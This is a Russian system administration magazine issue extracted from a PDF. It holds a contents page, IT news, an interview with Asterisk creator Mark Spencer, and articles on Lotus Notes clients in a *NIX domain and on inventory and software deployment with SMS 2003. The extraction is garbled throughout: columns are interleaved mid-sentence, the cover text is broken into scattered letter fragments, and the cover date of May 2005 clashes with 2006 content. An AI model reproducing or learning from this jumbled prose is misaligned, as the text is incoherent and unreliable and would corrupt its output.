Windows Firewall:
СЬ
www.samag.ru
И
Почему MS SQL медленно работает?
ИЛ
Ищем причины
ЛИ
ТЯ Е
Ж П
WPA-Enterprise, 802.1x EAP-TLS
НУ
РА КУ
Настраиваем UPS под Linux
ЛЫ ГО
ТИ РАС
Как восстановить
удаленные файлы под BSD
КУ ВО
РО
танавливаем Symantec Antivirus 9.0
НИ НО
в корпоративной сети
СТ
Эффективно управляем
полями пользователей в AD
БЫ
Контролируем безопасность сети
с помощью OSSIM
КА
И
ЬГ
ЬД О
РА СКА
ТЕ
К
ИС НН
ЕН
УС
БО
НА ТПУ
ИЛ ДА
ТП
НЧ ЖИ
ВО
РА Е О
КО НЕО
АВ С Л
Л
Л
ХА
ПО
УЕ
ЗА
Так видит журнал читатель, оформивший подписку:
№5(30) май 2005
подписной индекс 81655
www.samag.ru
ПОДПИШИТЕСЬ И ЧИТАЙТЕ!
Роспечать – 20780, 81655
Пресса России – 87836
Интер-почта – тел. (495) 500-00-60
в номере
3 СОБЫТИЯ ЧЕЛОВЕК НОМЕРА
5 ТЕНДЕНЦИИ 50 Волшебник из страны… Воз
Легендарный создатель компьютеров Apple I и Apple II
ИНТЕРВЬЮ Стив Возняк верит в сказки и сам создает их.
Оксана Родионова
6 Марк Спенсер: «Это Asterisk привлекает rodion@dol.ru
пользователей к Linux, а не наоборот»
Интервью с создателем популярной программной офис- БЕЗОПАСНОСТЬ
ной станции Asterisk. Дмитрий Шурупов
osa@samag.ru 54 Windows Firewall:
защищаем внутренние ресурсы сети
АДМИНИСТРИРОВАНИЕ Сейчас локальная сеть любой, даже совсем небольшой
организации защищена от внешних угроз. Настолько ли
8 Lotus Notes на Windows 2K/XP хорошо защищены ресурсы внутренней сети?
в *NIX-домене Андрей Бирюков
Одна из схем настройки работы клиента Lotus Notes mex_inet@rambler.ru
на рабочих станциях с Windows 2K /XP в домене
на *NIX-сервере. Мыкола Буряк 58 Аудит и дизассемблирование эксплоитов
x86@gmx.net Эксплоиты, демонстрирующие наличие дыры (proof-of-
concept), обычно распространяются в исходных текс-
12 Проводим инвентаризацию сети тах, однако, основной функционал заключен в shell-
средствами SMS 2003 коде, анализ которого представляет весьма нетриви-
Хорошо настроенный SMS существенно сократит ва- альную задачу. Крис Касперски
ше время, затрачиваемое на рутинную работу по ин- kk@sendmail.ru
вентаризации сети. Дмитрий Щербаков
dimich_25@mail.ru 68 Настраиваем DrWeb Enterprise Suite
Один из способов защитить предприятие от вирус-
18 Современный Linux-сервер: ной активности. Антон Борисов
виртуализируем сетевые устройства a.borisov@tesv.tmb.ru
Часть 2
Воплотить схему виртуализации совершенно неслож- WEB
но. А дополнительно можно построить адаптивную сис-
тему коммутации. Алексей Барабанов 74 Контролируем доступ к веб-сервису
alekseybb@mail.ru с помощью DACS
Если для настольных систем проблему аутентифика-
26 Как работает Sendmail? ции и авторизации можно считать решенной, то стан-
Полезные подробности дартные механизмы, используемые в веб-сервисах,
Часть 4: взаимодействие со сторонними пока еще не удовлетворяют современным требовани-
программами ям безопасности. Сергей Яремчук
Возможностей Sendmail не всегда хватает для реше- grinder@ua.fm
ния всего многообразия задач. Но открытость ПО тем
и хороша, что позволяет наращивать мощь практичес- 80 Тестируем движки поисковых машин
ки без ограничений. Сергей Супрунов Большинство из вас каждый день пользуется поис-
amsand@rambler.ru ковыми машинами в Интернете. Какие они изнутри
и чем отличаются? Иван Максимов
34 Биллинг на FreeBSD: ivan_maksimov@inbox.ru
пишем сами, используя PHP, trafd и MySQL
Если пользователи жалуются, что Интернет «тормозит», РЕТРОСПЕКТИВА
а начальство ругается, что счета от провайдера слиш-
ком большие, покупка готового биллинга – не единс- 86 Сеть друзей: история Fidonet
твенный выход. Александр Чагадаев Фидо… Для кого-то это слово – пустой звук, для мно-
adc@a-d-c.ru гих из вас – часть жизни, пусть, быть может, и прошлой.
Но история первого в России компьютерного сообщес-
40 Обзор дистрибутива Ubuntu 6.06 тва будет интересна каждому. Илья Александров
Вышла новая версия уже почти культового дистрибу- ilya_al@rambler.ru
тива, который ворвался на рынок Linux-систем и по
показателю популярности оставил позади даже таких
«монстров», как Fedora Core и OpenSUSE.
Сергей Супрунов
amsand@rambler.ru КНИЖНАЯ ПОЛКА
42 Как устроена файловая система JFS 92 Обзор книжных новинок
Показатели производительности файловой системы JFS Александр Байрак
не впечатляют. Хотя она спроектирована стройно и чет- x01mer@pisem.net
ко, а алгоритмы обработки данных и метаданных отли-
чаются высокой степенью оптимизации. Попробуем ра- 73, 91, 94 BUGTRAQ
зобраться, в чем же дело. Андрей Пешеходов
fresco_pap@mail.ru
4
тенденции
Corel восстановила прибыльность, ентированные на бизнес возможности к основному продук-
отойдя от Linux-бизнеса ту и включают в себя услуги поддержки. Об этом стало из-
Корпорация Corel, пережив 6 лет финансовых трудностей вестно от президента и основателя Hyperic Хавьера Сол-
и реорганизаций, объявила о возвращении к публичной теро (Javier Soltero).
торговле с многообещающими отчетами за первый и вто-
рой кварталы 2006 года, отмечает NewsForge. Как сообщил Стартовал первый «Сезон KDE»
Грэхэм Браун (Graham Brown), исполнительный вице-прези- Разработчики популярной свободной графической оболоч-
дент разработки программного обеспечения в Corel, одним ки KDE объявили о запуске первого «Сезона KDE».
из шагов для этого стал отказ компании от Linux-продуктов: Season of KDE – проект, дополняющий «Лето кода»
WordPerfect for Linux и Corel Linux. В 2001 году Xandros ли- и призванный так или иначе довести до логического кон-
цензировала у Corel права на код Corel Linux. В 2002 году, ца разработку всех приложений, которые не стали фина-
когда вышли следующие версии WordPerfect Office, Corel листами в студенческой инициативе Google. Уже объяв-
перестала поддерживать редакции для GNU/Linux. В 2003 лено о том, что 14 студентов дали согласие на разработку
году Vector Capital приобрела Corel, после чего она стала своих проектов даже без финансовой поддержки со сто-
частной компанией, ориентированной на Windows-рынок. роны Google. Подробности о «Сезоне KDE» 2006 доступны
Браун охарактеризовал решение Corel отказаться на http://developer.kde.org/seasonofkde.
от Corel Linux как «успешную стратегию для Corel и как ран-
ний шаг навстречу переориентации бизнеса». Поправка к новости «Проект FreeDOS
Тем не менее Corel продолжает проявлять интерес к сво- официально закрыт» из прошлого
бодной ОС GNU/Linux. Помимо того, что у компании сохра- выпуска
нились отношения с Xandros (связанные с разработкой дист- Cообщение о смерти свободной ОС FreeDOS оказалось
рибутива), Corel продавала обновленную версию текстового лишь «шуткой» автора проекта. В день 12-летия FreeDOS
процессора WordPerfect for Linux на своем веб-сайте в 2004 Джим Холл (Jim Hall) действительно поместил на главной
году на протяжении 6 месяцев. Этот шаг, по словам Брауна, странице freedos.org новость о смерти проекта, однако в от-
был нацелен на то, чтобы «помочь оценить положение рын- вет на реакцию сообщества он заявил, что это была лишь
ка офисных пакетов для Linux». Однако назвать результаты «ужасная шутка». Более того, в ближайшее время состоит-
позитивными трудно: «На данный момент мы не наблюда- ся финальный релиз FreeDOS 1.0.
ем достаточного спроса от наших основных потребителей
и заказчиков из сферы малого бизнеса для того, чтобы га- Составил Дмитрий Шурупов
рантировать разработку наших Linux-продуктов». по материалам www.nixp.ru
Б
лагодаря своей увлеченнос- ент Gaim. Поэтому открытый исходный Открытость кода – главный фак-
ти открытым ПО и стечению код казался мне чем-то естественным. тор, сделавший Asterisk таким по-
обстоятельств он смог совер- Кроме того, важным фактором в поль- пулярным?
шить маленькую революцию в те- зу Open Source было и то, что ПО со- Факторов, конечно же, много, и не сто-
лекоммуникациях и подарил миру здавалось для Linux. ит ограничиваться одной открытос-
мощную, а главное – свободную за- тью. Все зависит от того, кто исполь-
мену дорогостоящим коммерческим Если это так, то не совсем понятно, зует Asterisk. Для небольших компа-
PBX – Asterisk. Марк поделился мыс- почему же ныне здравствует поли- ний более важным фактором являет-
лями об этом продукте и об откры- тика двойных стандартов (двойно- ся существенная экономия, получае-
том ПО в интервью нашему коррес- го лицензирования) в отношении мая при выборе Asterisk. Для крупных
понденту. к Asterisk, ведь проблемы с коде- компаний стоимость не играет столь
ками вроде G.729 можно решить существенной роли – для них дейс-
Asterisk создавался для исполь- публикацией продукта под какой- твительно важнее возможность само-
зования в рамках одной компании нибудь BSD-подобной лицензией, стоятельно изменять код под свои за-
как продукт с ограниченным набо- позволяющей совмещать закрытые просы, что и обеспечивается моделью
ром необходимых функций. Выби- разработки с открытыми. Open Source.
рать для такого ПО свободную ли- Мы стремимся сделать продукт гиб-
цензию – явление незаурядное. По- ким, насколько это возможно. Таким Монолитная модель программы тра-
чему Open Source? образом, пользователи в зависимос- диционно является препятствием на
Это не первый мой программный про- ти от своих потребностей получают ли- пути к включению новых возмож-
дукт подобного рода. Мое увлечение бо полностью открытую версию, либо ностей. Как удается сохранять вы-
Open Source возникло еще задолго редакцию, которая поддерживает все сокий уровень стабильности и свое-
до того, как появилась необходимость (в том числе технологии, требующие временно совершенствовать про-
в подобном приложении. Например, внедрения закрытого кода), но за до- дукт, отвечая на потребности поль-
раннее я написал открытый IM-кли- полнительную стоимость. зователей и рынка?
6
интервью
Asterisk разрабатывается как Linux-яд-
ро. Важно следить за тем, чтобы добав- Марк Спенсер торое время после основания фирмы, за-
ляемые части кода не влияли на пра- Родился в семье двух профессоров и уже нимающейся Linux-консалтингом, Марку
вильность функционирования написан- в 8-м классе написал и продал программу потребовалось установить офисную те-
ного ранее. Благодаря подключаемым своему учителю за 5 долларов. Позже он лефонную станцию. Однако все доступ-
модулям Asterisk является масштаби- стал автором таких известных в сообщест- ные решения были слишком дорогостоя-
руемым, его можно начинать использо- ве Open Source-проектов, как клиент мгно- щими, он не мог себе их позволить и поэ-
вать с прицелом на расширение набора венного обмена сообщениями Gaim (http:// тому решился на написание собственной,
выполняемых функций в будущем. При gaim.sourceforge.net) и программная офис- открытой PBX.
этом в небольшой объем удается вмес- ная телефонная станция (PBX) Asterisk Теперь Asterisk используется множест-
тить все необходимые возможности. (http://www.asterisk.org). История создания вом компаний по всему миру, а фирма Спен-
последней весьма интересна: через неко- сера Digium занимается ее поддержкой.
Но в прошлом году от Asterisk от-
ветвился проект OpenPBX. Чем это возможности, за долгое время сущес- Теперь я его только использую. На мой
вызвано? Реакцией сообщества твования продукта сложилось силь- взгляд, это пример фантастическо-
на медлительность в добавлении ное и крупное сообщество. А начинать го успеха программного обеспечения
новых функций, недовольством об- с нуля подобный проект сложно, и ему с открытым кодом. Разработкой Gaim я
щим направлением развития? потребуется не один год для того, что- занимался около трех месяцев – прос-
Очень важно соблюдать постоянный бы достич серьезного уровня. Кроме то для экспериментирования в приме-
баланс между включением новых воз- того, многие компании уже сейчас за- нении GTK+. Однако опыт, полученный
можностей в код продукта и сохране- рабатывают на Asterisk. в ходе его создания и работы с сооб-
нием его стабильности. Естествен- ществом, стал очень полезным в бу-
но, находятся люди, которые счита- Способствует ли резкий рост попу- дущем – он демонстрирует, насколько
ют, что в Asterisk не всегда достаточно лярности Linux (в том числе и в те- значительной может оказаться любая
быстро появляются какие-то новшест- лекоммуникационной среде, где от- Open Source-практика.
ва. Но ведь мы еще заботимся и о ста- крытую ОС продвигают организа-
бильности, и о чистоте кода. Это не- ции вроде лаборатории OSDL) рас- Каким вы видите будущее програм-
простая задача, впрочем, еще ни один пространению Asterisk? много обеспечения: полностью от-
из ответвившихся проектов не был ус- Пожалуй, текущая ситуация носит диа- крытое, полностью проприетарное,
пешным. метрально противоположный харак- или эти два направления будут как-
тер: скорее, благодаря Asterisk поль- то смешиваться?
На последовавшее предположе- зователи переходят на Linux. Посто- Перспективы мне видятся в смеше-
ние о существовании каких-либо се- янно встречаются клиенты, которым нии продуктов с открытым и закры-
рьезных каналов связи между Asterisk по тем или иным причинам симпатичен тым кодом. Модель Open Source ус-
и его ответвлениями Марк ответил от- Asterisk и они мигрируют на родную для пешна по двум причинам: такое ПО
рицательно, добавив, что это только него платформу. В свою очередь Linux- может быстро захватывать огром-
на первый взгляд (создаваемых проек- пользователи не так часто отказыва- ную часть рынка и оно может совер-
тов) так просто поддерживать и разви- ются от уже применяемых ими реше- шенствоваться благодаря поправкам
вать подобную кодовую базу, но стоит ний в пользу Asterisk. и новшествам, добровольно добавля-
только взяться за дело, как возникает емым людьми со всего мира. В то же
множество трудностей. В полушутли- Ответ на вопрос о поддержке Asterisk время на рынке настольных ПК сложи-
вой манере он отметил, что не хотел гигантами IT-индустрии не удивил упо- лась такая ситуация, что люди знают,
бы возникновения ситуаций вроде ис- минанием таких компаний, как IBM как использовать Windows – им обыч-
ка SCO против IBM/Linux. и Intel, на blade-серверах которых пре- но не представляется интересным пе-
красно функционирует свободная PBX. реучиваться на что-то другое. Зато им
Вашей компании Digium удалось до- Здесь все логично: раз они продвига- нужны инновации, а здесь уже лидерс-
биться заметных успехов в телеком- ют Linux-серверы для предприятий во- тво на стороне Open Source.
муникационном бизнесе. Не ожида- обще, то почему бы и не обеспечивать В конечном итоге для любого пот-
ете ли вы, что это может привести поддержку предназначенного для них ребителя есть три критерия оценки
к появлению множества компаний, ПО с открытым кодом в виде Asterisk, продукта: цена, производительность
которые попробуют повторить ваш что может пригодиться практически лю- и простота использования. Поэтому
путь, а в итоге – к Open Source-ре- бой компании. Пришло время подиску- производители стремятся ориентиро-
волюции в телекоммуникационной тировать на более отвлеченные от глав- ваться на достижение наиболее удач-
индустрии? ного детища Спенсера вопросы. ной комбинации этих критериев, выби-
До тех пор пока наш проект не прова- рая соответствующие запросам про-
лился, достаточно трудно выйти на ры- Вы являетесь автором другого по- граммные средства.
нок телекоммуникаций с собственной пулярного Open Source-проекта –
открытой PBX. Asterisk делает свою Gaim. Что он для вас значит сейчас, текст: Дмитрий Шурупов,
работу, оперативно получает новые помогаете ли вы его развитию? фото: Йон Холл
Мыкола Буряк
Хотите разместить на home персональные файлы пользователей Lotus Notes? И при этом
сохранить полную функциональность клиента? Ищете простой переход на безопасную схему?
Тогда эта статья для вас!
В
о многих крупных организациях Сегодня семейство клиент-сер- Стоимость одной лицензии IBM Lotus
стандарт де-факто для группо- верных приложений Lotus Notes Notes with messaging с поддержкой
вой работы в локальной, распре- и Domino входит в число ведущих про- в течение 12 месяцев составляет 96,11
деленной и глобальной сетях – комп- граммных продуктов в отрасли, и мно- доллара США. Минимальное количес-
лексное решение Lotus Notes и Domino гие компании считают это ПО осно- тво клиентских лицензий ограничено
корпорации IBM. C момента появления вой для эффективной и продуктив- в 100 единиц.
первой версии Notes в конце 1989 года ной работы.
миллионы пользователей используют Приведу ориентировочные цены Стандартные
Lotus Notes и Domino как базовую кор- на некоторые продукты Lotus Software. возможности
поративную коммуникационную инф- Стоимость одной лицензии IBM Lotus Теперь перейдем к настройке много-
раструктуру для коллективного взаи- Domino Messaging Server с поддержкой пользовательской среды на базе *NIX/
модействия и совместного использо- в течение 12 месяцев составляет 1225 Windows для оптимального функцио-
вания информационных ресурсов. долларов США за один процессор [3]. нирования Lotus Notes.
8
администрирование
Серверы и клиенты па Client Access License (CAL). Такие узер. В отличие от пользователей Lotus
Семейство продуктов Domino Server состо- приложения могут бать расположены Notes, пользователям Lotus Domino
ит из трех основных видов серверов [1]: на Intranet-, Extranet- или интернет-сай- Web Access требуется только стандар-
IBM Lotus Domino Messaging Server – те и доступны как авторизованным, так тный веб-браузер.
предназначен только для доступа и неавторизованным пользователям IBM Lotus Domino Access for Microsoft
к функциям обмена сообщениями через клиент Notes или браузер. Outlook – предоставляет пользовате-
и планирования Domino. Этот вид сер- лям Microsoft Outlook 2000/2002 среду
вера предусматривает поддержку Семейство продуктов Lotus Notes со- Domino, доступ к функциям электрон-
разбиения на разделы, позволяющую стоит из следующих клиентских мест: ной почты и календаря и к другим воз-
иметь несколько экземпляров серве- IBM Lotus Notes – сочетает в едином можностям Lotus Domino, в том числе
ров Domino на одном и том же физи- клиенте интегрированные функции к полнотекстовому поиску.
ческом сервере. электронной почты, календаря, груп- IBM Lotus Domino WebMail – предо-
IBM Lotus Domino Enterprise Server – пового планирования и управления ин- ставляет пользователям экономичный
предоставляет все функции коллектив- формацией в Web. Данный вид клиен- доступ (через веб-браузер) к функциям
ной работы в Domino, а также функции та имеет широкий спектр инструментов электронной почты и календаря Lotus
обмена сообщениями и планирования. для организации коллективной работы Domino.
В дополнение к поддержке разбиения и обмена сообщениями. IBM Lotus Workplace Messaging – по-
на разделы сервер Enterprise предус- IBM Lotus Domino Web Access – пред- могает легко и без значительных за-
матривает поддержку кластеризации. лагает удобные способы для получе- трат расширить корпоративную систе-
IBM Lotus Domino Utility Server – пре- ния доступа к базовым функциям Lotus му обмена сообщениями для охвата со-
доставляет неограниченный доступ Domino в области организации коллек- трудников, не имеющих собственного
к основанным на Domino приложени- тивной работы и обмена сообщения- рабочего стола и доступа к электрон-
ям без лицензии клиентского досту- ми, инструментам PIM через веб-бра- ной почте.
Пусть на рабочих станциях будет установлена ОС из ли- пользователей в роуминг-пользователей, выберете на сер-
нейки Windows, например, Windows 2K/XP, с клиентом вер- вере Lotus Domino нужных вам пользователей и активизи-
сии Lotus Notes 6.5.х. Рабочие станции входят в домен под руйте им опцию Roaming User (см. рис. 1). Последнее поз-
управлением *NIX-системы, с установленной SAMBA вер- волит серверу Lotus Domino осуществлять и контролировать
сии 2.2.x в том числе. Все пользователи имеют учетные за- копирование персональных файлов пользователя Lotus
писи и бюджет на доменном *NIX-сервере. Каждому предо- Notes с рабочей станции каждого пользователя на серве-
ставлен сетевой диск (home) и загрузочный bat-фалы (ло- ры Lotus Domino и обратно. Роуминг-пользователи могут
гонные скрипты). Также есть физически удаленный сервер работать только с клиентом, установленным как multi-user
Lotus Domino версии 6.5.х. install. Отмечу, что при конфигурации Roaming User копи-
Для многопользовательской среды, когда за одним руются только базовые персональные настройки пользова-
компьютером работают несколько пользователей, т.е. нет теля, что ограничивает функциональность Lotus Notes. Так-
закрепленного рабочего места за каждым пользовате- же к недостаткам можно отнести то, что ощутимо возраста-
лем, предусмотрен такой вид инсталляции Lotus Notes, ет трафик между рабочими станциями и сервером. В слу-
как multi-user install [4]. Этот вид установки предназначен чае когда количество пользователей несколько сотен чело-
только для Windows-систем и позволяет каждому пользо- век, а пропускная способность канала весьма ограничена,
вателю сохранять свои персональные рабочий стол, ад- то указанный вариант становится непрактичным.
ресную книгу, свойства и др. всегда обновленными. Про-
граммные файлы инсталлируются в общую директорию,
например, в C:\Lotus\Notes, а персональные файлы поль-
зователей, включая конфигурационный notes.ini, хранятся
в директории C:\Documents and Settings\<username>\Local
Settings\Application Data\Lotus\Notes\Data. Если в конфигу-
рации доменного *NIX-сервера нет возможности активизи-
ровать функцию записи поддиректории Local Settings вмес-
те с профайлом пользователя на доменный сервер, а коли-
чество пользовательских файлов Lotus Notes и соответс-
твенно их объем остаются неограниченными, то данный
вид инсталляции теряет свою функциональность. В гете-
рогенной среде *NIX/Windows всегда имеется большая ве-
роятность частичной потери или повреждения профайла
пользователя при загрузке и выгрузке профиля на рабо-
чую станцию и с неё.
Картина будет неполной, если я не упомяну такой вид
Рисунок 1. Активация опции Roaming User на сервере
пользователя, как Roaming User. Чтобы перевести обычных Lotus Domino
10
администрирование
lotus_save_lite.cmd
xcopy "C:\Lotus\Notes\Data\bookmark.nsf" ↵
"H:\Lotus\Notes\Data\" /c /h /r /y
xcopy "C:\Lotus\Notes\Data\names.nsf" ↵
"H:\Lotus\Notes\Data\ " /c /h /r /y
pause
Дмитрий Щербаков
У вас появится больше времени на творчество благодаря Systems Management Server 2003.
П
р одел ав вс е н е о бход и м ы е зуя запросы SQL. После проведенной твах агента на вкладке «General»
действия (см. статью «Устанав- инвентаризации можно централизо- поставьте флажок «Enable hardware
ливаем и настраиваем Systems ванно обновить ПО, установить но- inventory on clients», а расписание вы
Management Server 2003», №7, 2006 г.), вое, а также поставить необходимые можете настроить уже в соответствии
вы получили полностью работоспособ- патчи и заплатки для операционных со своими задачами. Через некоторое
ный сервер SMS 2003 с установленны- систем и программ. Можно для этого время (минут 15) политики на клиентах
ми клиентами, в базу которого занесе- воспользоваться групповыми полити- обновятся, и вы сможете просмотреть
ны ресурсы сети (компьютеры, поль- ками домена, но сделать это сложнее, ресурсы компьютеров сети. Для того
зователи). Теперь можно двигаться так как SMS – это все-таки специали- чтобы ускорить этот процесс, на клиен-
дальше и переходить непосредствен- зированный продукт, рассчитанный те в панели управления запустите ап-
но к инвентаризации. Думаю, мно- именно на такое применение в отличие плет Systems Management и на вклад-
гие согласятся, что это малоприятная от Group Policy. Комплект инструмен- ке «Actions» обновите «Machine и User
процедура. Порой необходимо сде- тов был бы неполным без удаленного Policy» (рис. 2), а затем «Hardware
лать выборку по определенным пара- управления. Но это уже кому как нра- Inventory Cycle». В этом случае инфор-
метрам, чтобы выявить компьютеры, вится. Многие привыкли к небольшим мацию вы сможете просмотреть уже
на которые нужно установить обнов- мобильным утилитам, которые справ- через 3-4 минуты. Собранные дан-
ления или нуждающиеся в модерниза- ляются с поставленной задачей не ху- ные об оборудовании доступны, на-
ции. Многим из вас знакомы требова- же, а порой и лучше SMS. Это не глав- пример, из коллекции «All Systems»
ния руководства, которое хочет знать, ное достоинство этого продукта, и его консоли SMS Administrator Console.
какое программное обеспечение ус- мы тоже рассмотрим. Для этого в контекстном меню по щел-
тановлено на компьютерах пользова- чку правой кнопкой мыши на нужном
телей и не изменялась ли самовольно Проводим нам компьютере выберем «All Tasks →
конфигурация ПК. Правда, это нуж- инвентаризацию Start Resource Explorer». Что интерес-
но не только начальству, но в первую оборудования но, сведения об установленном про-
очередь и самому сисадмину. Все это Чтобы начать процесс, запустите граммном обеспечении тоже находят-
можно сделать в считанные минуты консоль SMS Administrator Console, ся здесь. После сбора информации
с помощью SMS 2003. Если вы знако- «Site Database → Site Hierarchy → об оборудовании эти данные заносят-
мы с SQL, проблем будет еще меньше, имя сайта → Site Settings → Client ся в базу и далее доступны в автоном-
благодаря возможности напрямую об- Agents», где выберите «Hardware ном режиме и при выключенном уда-
ращаться к базе SQL-сервера, исполь- Inventory Client Agent» (рис. 1). В свойс- ленном компьютере.
12
администрирование
Проводим
инвентаризацию
программного
обеспечения
Инвентаризация ПО заключается
в сборе информации из файлов прило-
жений с помощью SMS Software Agent.
Полученные данные включают в себя
сведения о названии продукта, про-
изводителе, версии, а также времени
и дате установки.
Для начала активируйте Software
Inventory Client Agent: «Site Database →
Site Hierarchy → имя сайта → Site
Settings → Client Agents» и поставьте
галочку «Enable software inventory on
clients» (рис. 3). По умолчанию соби-
рается информация обо всех exe-фай-
лах. Обновление информации происхо-
дит аналогично инвентаризации обо-
рудования, однако времени требует- Рисунок 1. Hardware Inventory Client Agent
ся больше. Просмотреть информацию
вы можете там же – через «Resource
Explorer» (вкладка «Software»). В свойс-
твах «Software Inventory Client Agent»
можно указать также путь для поиска
файлов и настроить сбор файлов с кли-
ентских компьютеров (например, отче-
ты после установки ПО). Но так как та-
кие файлы могут иметь довольно боль-
шой размер и клиентов тоже немало,
следует подходить к сбору файлов с ос-
торожностью, ведь это неизбежно пов-
лечет за собой существенное увеличе-
ние сетевого трафика.
Другой способ проведения инвен-
таризации ПО – Software metering.
На первый взгляд он похож на Software
Inventory, но используется для то-
го, чтобы отследить, с какими про-
граммами работает пользователь.
Полученные данные могут содер- Рисунок 2. Обновление политик на клиенте
жать информацию о времени запус-
ка программы, завершения, под ка- Откройте консоль сервера SMS, Properties → Select» и далее выберите
ким именем пользователя она была «Site Database → Queries», и далее «Attribute Class» и «Attribute» (рис. 5).
запущена, и т. д. «Software Metering по правой кнопке мыши – «New → В качестве «Attribute Class» возьми-
Client Agent» находится в контейнере Query» (рис. 4). Что интересно, поми- те, например, «System», а «Attribute» –
«Client Agents» (там же, где «Hardware мо множества предопределенных за- «Name». Поле «Alias» as можно оста-
Inventory Client Agent» и «Software просов можно создать и свои, исполь- вить как есть – «No Alias». Далее пе-
Inventory Client Agent»). Информация зуя WQL (в этом же диалоге). Это да- рейдите на вкладку «Criteria». Создай-
записывается на клиентском ком- ет возможность обращаться сра- те новый критерий, в котором тип ос-
пьютере в файл mtrmgr.log в каталог зу к нескольким объектам, что недо- тавьте «Simple Value», «Attribute Class»
C:\windows\system32\ccm\logs. ступно из графического интерфейса. возьмите «Memory» (окно выбора атри-
По умолчанию выбран объект «System бутов вызывается по нажатию кнопки
Создаем отчеты Resource». Дайте имя запросу, напри- «Select»), а «Attribute» – «Total Physical
Для начала попробуем создать прос- мер test, затем нажмите на кнопку Memory».
той запрос (набор параметров, кото- «Edit Query Statement» и поставьте га- Если, например, нужно узнать,
рый используется для получения ин- лочку напротив «Omit duplicate rows», на каком компьютере больше 1 Гб
формации из базы данных). создайте новый запрос в окне «Result оперативной памяти, то в выпадаю-
Устанавливаем
программное обеспечение
по сети
В большой сети, даже если требует-
ся установить небольшое обновле-
ние или новую программу на все ком-
пьютеры или на какую-то их опреде-
ленную часть, уходит много времени,
особенно если делать это вручную,
даже при помощи программ удален-
ного управления. Применение груп-
повых политик не так просто и не так
гибко, как применение для этой цели
средств SMS – Software Distribution.
Одно из больших преимуществ SMS
при установке ПО – использование
Рисунок 4. Создание запроса. Шаг 1 сервиса BITS. Он позволяет исполь-
зовать докачку файла при возникно-
щем списке «Operator» надо выбрать Point» поставьте галочку «Use this site вении сбоя при передаче. Эта техно-
«Is greater than or equal to», а в поле system as a reporting point». Теперь пе- логия доступна только для Advanced
«Value» занести 1 000 000 (рис. 6). реходим непосредственно к состав- Clients. При инсталляции ПО средс-
Сохраните запрос, а для его запуска лению отчета: не закрывая консоль твами SMS гораздо легче отследить
из контекстного меню выберите «Run SMS Administrator Console, найди- ход установки на всех компьютерах
Query». те «Reporting → Reports» и выбери- через отчеты об установке или через
те нужный, например «Computers with Software metering.
Используем Reporting low memory». Чтобы запустить этот от- Как обычно, начинаем с настрой-
Point для создания чет на выполнение, щелкните по нему ки сервера SMS: в консоли SMS
отчетов правой кнопкой мыши: «All Tasks → Administrator Console раскройте узел
Для начала настройте сервер на ис- Run → имя компьютера». В появив- «Site Database → Site Hierarchy →
пользование Reporting Point, для шемся окне введите пароль, а в стро- имя сайта → Site Settings → Site
этого в консоли SMS Administrator ке «Mb of Memory» окна отчета – объ- S yste ms». В с в о й с т в а х с е р в е р а
Console выберите «Site Database → ем памяти с меньшим значением ко- на вкладке Distribution Point (рис. 7)
Site Hierarchy → имя сайта → Site торого, нас интересуют компьюте- установите флажок «Use this site
Settings → Site Systems» и в свойс- ры. Для завершения запроса нажми- system as a distribution point» и «Enable
твах сервера на вкладке «Reporting те кнопку «Display». Чтобы использо- Background Intelligent Transfer Service
14
администрирование
(BITS)». Перейдите в контейнер «Client
Agents» и в свойствах «Advertised
programs Client Agent» поставьте фла-
жок «Enable software distribution to
clients». На вкладке «Notification» ус-
тановите по своему вкусу парамет-
ры оповещения об установке про-
грамм. Для первого раза стоит вклю-
чить извещение об установке, но, ког-
да все будет отлажено, лучше его уб-
рать, так как это избавит вас от лиш-
них вопросов пользователей. В кон-
тейнере «Component Configuration»
в свойствах «Software Distribution» ука-
жите учетную запись администратора
домена для «Advanced Clients» и учет-
ную запись администратора, под кото-
рой будет выполняться установка для
«Legacy Clients» (рис. 8). Для уменьше-
ния времени обновления информации Рисунок 5. Создание запроса. Шаг 2
об изменении статуса сервера SMS
на клиентах можно проделать те же
операции, что и при проведении инвен-
таризации оборудования и ПО.
Создаем пакеты
для распространения
Рассмотрим на примере вариант ус-
тановки ПО на все компьютеры се-
ти. Пусть требуется для решения про-
изводственной задачи установить
NetFrameWork. В исходном виде про-
грамма доступна в виде одного са-
мораспаковывающегося exe-файла.
Извлеките из него все файлы, сре-
ди которых будет и msi-файл, кото-
рый позволяет выполнить установку
с необходимыми параметрами, напри-
мер, без перезагрузки и в тихом ре-
жиме. Отмечу, что в отличие от дру-
гих средств сетевой установки, таких Рисунок 6. Создание запроса. Шаг 3
как групповые политики, не требуется
преобразовывать установочный файл на вкладке «Data Source» установи- line» введите команду установки (имя
в формат msi. те флажок напротив «This package установочного файла с необходимы-
Единственное замечание – если contains source files» и укажите к ним ми ключами). Для того чтобы установ-
нужна скрытая от пользователя ус- путь в поле «Source directory». Пакет ка проходила скрытно от пользовате-
тановка, то предварительно надо ли- может состоять и из одного файла, ля, отметьте режим Hidden. На вкладке
бо воспользоваться параметрами ко- тогда указывать здесь его не нужно. «Environment» из списка «Program can
мандной строки, либо перепаковать Теперь раскройте контейнер с вновь run» выберите пункт «Whether or not a
инсталлятор. Далее поместите уста- созданным пакетом и щелкните пра- user is logged on». В таком случае про-
новочные файлы в общедоступный вой кнопкой по «Distribution Points → грамма установки запустится незави-
по сети каталог. Теперь нужно сформи- New → Distribution Points» и выбери- симо от того, зарегистрировался поль-
ровать установочный пакет для SMS. те компьютер в качестве «Distribution зователь или нет. Тип запуска выбери-
Для этого в консоли SMS Administrator Point», установив соответствующий те «Run with administrative rights» и пос-
Console щелкните правой кнопкой мы- флажок. Для того чтобы уже непос- тавьте галочку напротив «Use Software
ши по контейнеру «Packages» и выбе- редственно задать параметры уста- installation account». Для того чтобы
рите из контекстного меню «New → новки новой программы, перейди- полностью исключить любые уведом-
Package» (рис. 9). Введите назва- те к контейнеру «Programs», «New → ления пользователя об установке про-
ние пакета, например NetFrameWork, Program» (рис. 10). В поле «Command граммы, на вкладке «Advanced» ус-
16
администрирование
мотрена возможность удаленного уп-
равления. Для этой цели служит на-
бор инструментов SMS Remote Tools.
Если вы привыкли к другим програм-
мным продуктам, таким как DameWare,
возможностей, предоставляемых
SMS, вам будет явно мало. Но основ-
ные действия SMS Remote Tools поз-
воляют производить: непосредствен-
но удаленное управление, перезаг-
рузку удаленного компьютера, чат, пе-
редачу файлов и запуск приложений
на удаленном компьютере. Помимо
этого имеется возможность использо-
вать встроенные средства Windows XP
и Windows 2003: Remote Assistance
и Remote Desktop.
Чтобы воспользоваться «Remote
Tools», необходимо, как обычно в кон-
